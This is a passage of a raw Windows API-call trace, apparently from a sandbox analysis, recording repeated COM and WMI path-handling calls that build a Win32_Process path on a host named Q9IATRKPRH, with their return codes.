(This=0x1bbbdf20) returned 0x3 [0131.074] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0131.074] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0131.075] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbece0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0131.075] WbemDefPath:IUnknown:Release (This=0x1bbbece0) returned 0x2 [0131.075] WbemDefPath:IUnknown:Release (This=0x1bbbece0) returned 0x1 [0131.075] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0131.075] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0131.075] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbece0, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bbbece0) returned 0x0 [0131.075] WbemDefPath:IUnknown:AddRef (This=0x1bbbece0) returned 0x3 [0131.075] WbemDefPath:IUnknown:Release (This=0x1bbbece0) returned 0x2 [0131.075] WbemDefPath:IWbemPath:SetText (This=0x1bbbece0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0131.075] IWbemClassObject:Get (in: This=0x1bb93ad0, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0131.075] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0131.075] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0131.075] IWbemClassObject:Get (in: This=0x1bb93ad0, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0131.076] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0131.076] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0131.076] IWbemClassObject:Get (in: This=0x1bb93ad0, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0131.076] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0131.076] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0131.076] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0131.076] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0131.076] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0131.077] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.078] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbbe0c0) returned 0x0 [0131.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbe0c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0131.079] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbbe0c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbbeda0) returned 0x0 [0131.079] WbemDefPath:IUnknown:Release (This=0x1bbbe0c0) returned 0x0 [0131.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbeda0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbbeda0) returned 0x0 [0131.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbeda0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0131.079] WbemDefPath:IUnknown:AddRef (This=0x1bbbeda0) returned 0x3 [0131.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbeda0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0131.080] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbeda0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0131.080] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbeda0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbbe100) returned 0x0 [0131.080] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbbe100, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0131.080] WbemDefPath:IUnknown:Release (This=0x1bbbe100) returned 0x3 [0131.080] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0131.080] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0131.080] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbeda0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0131.080] WbemDefPath:IUnknown:Release (This=0x1bbbeda0) returned 0x2 [0131.080] WbemDefPath:IUnknown:Release (This=0x1bbbeda0) returned 0x1 [0131.080] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0131.080] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0131.080] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbeda0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbbeda0) returned 0x0 [0131.080] WbemDefPath:IUnknown:AddRef (This=0x1bbbeda0) returned 0x3 [0131.080] WbemDefPath:IUnknown:Release (This=0x1bbbeda0) returned 0x2 [0131.080] WbemDefPath:IWbemPath:SetText (This=0x1bbbeda0, uMode=0x4, pszPath="") returned 0x0 [0131.080] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0131.080] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0131.081] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0131.081] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.083] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbbe0c0) returned 0x0 [0131.083] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbe0c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0131.083] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbbe0c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbbee60) returned 0x0 [0131.083] WbemDefPath:IUnknown:Release (This=0x1bbbe0c0) returned 0x0 [0131.083] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbee60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbbee60) returned 0x0 [0131.083] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbee60, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0131.084] WbemDefPath:IUnknown:AddRef (This=0x1bbbee60) returned 0x3 [0131.084] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbee60, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0131.084] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbee60, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0131.084] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbee60, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbbe140) returned 0x0 [0131.084] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbbe140, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0131.084] WbemDefPath:IUnknown:Release (This=0x1bbbe140) returned 0x3 [0131.084] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0131.084] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0131.084] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbee60, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0131.084] WbemDefPath:IUnknown:Release (This=0x1bbbee60) returned 0x2 [0131.084] WbemDefPath:IUnknown:Release (This=0x1bbbee60) returned 0x1 [0131.084] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0131.084] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0131.085] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbee60, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbbee60) returned 0x0 [0131.085] WbemDefPath:IUnknown:AddRef (This=0x1bbbee60) returned 0x3 [0131.085] WbemDefPath:IUnknown:Release (This=0x1bbbee60) returned 0x2 [0131.085] WbemDefPath:IWbemPath:SetText (This=0x1bbbee60, uMode=0x4, pszPath="") returned 0x0 [0131.085] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbee60, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0131.085] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbeda0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0131.085] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bbbee60, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0131.085] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbbee60, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0131.085] WbemDefPath:IWbemPath:SetServer (This=0x1bbbee60, Name="Q9IATRKPRH") returned 0x0 [0131.085] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0131.085] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0131.085] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0131.085] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.087] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbbe160) returned 0x0 [0131.087] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbe160, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0131.087] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbbe160, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbbef20) returned 0x0 [0131.088] WbemDefPath:IUnknown:Release (This=0x1bbbe160) returned 0x0 [0131.088] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbef20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbbef20) returned 0x0 [0131.088] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbef20, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0131.088] WbemDefPath:IUnknown:AddRef (This=0x1bbbef20) returned 0x3 [0131.088] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbef20, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0131.088] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbef20, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0131.088] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbef20, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbbe1a0) returned 0x0 [0131.088] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbbe1a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0131.088] WbemDefPath:IUnknown:Release (This=0x1bbbe1a0) returned 0x3 [0131.088] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0131.088] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0131.089] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbef20, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0131.089] WbemDefPath:IUnknown:Release (This=0x1bbbef20) returned 0x2 [0131.089] WbemDefPath:IUnknown:Release (This=0x1bbbef20) returned 0x1 [0131.089] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0131.089] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0131.089] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbef20, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbbef20) returned 0x0 [0131.089] WbemDefPath:IUnknown:AddRef (This=0x1bbbef20) returned 0x3 [0131.089] WbemDefPath:IUnknown:Release (This=0x1bbbef20) returned 0x2 [0131.089] WbemDefPath:IWbemPath:SetText (This=0x1bbbef20, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0131.089] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbee60, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0131.089] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbef20, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0131.089] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbef20, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0131.089] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbef20, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0131.089] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bbbee60) returned 0x0 [0131.089] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbef20, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0131.089] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbef20, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0131.089] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbef20, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0131.089] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbbee60, uIndex=0x0, pszName="ROOT") returned 0x0 [0131.089] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbef20, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0131.089] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbef20, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0131.089] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbbee60, uIndex=0x1, pszName="CIMV2") returned 0x0 [0131.089] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bbbee60, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0131.090] WbemDefPath:IWbemPath:SetClassName (This=0x1bbbee60, Name="Win32_Process") returned 0x0 [0131.090] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbee60, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0131.090] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbee60, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0131.091] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbee60, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0131.091] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbee60, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0131.091] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbee60, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0131.091] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbee60, puCount=0x1bb7e610 | out: 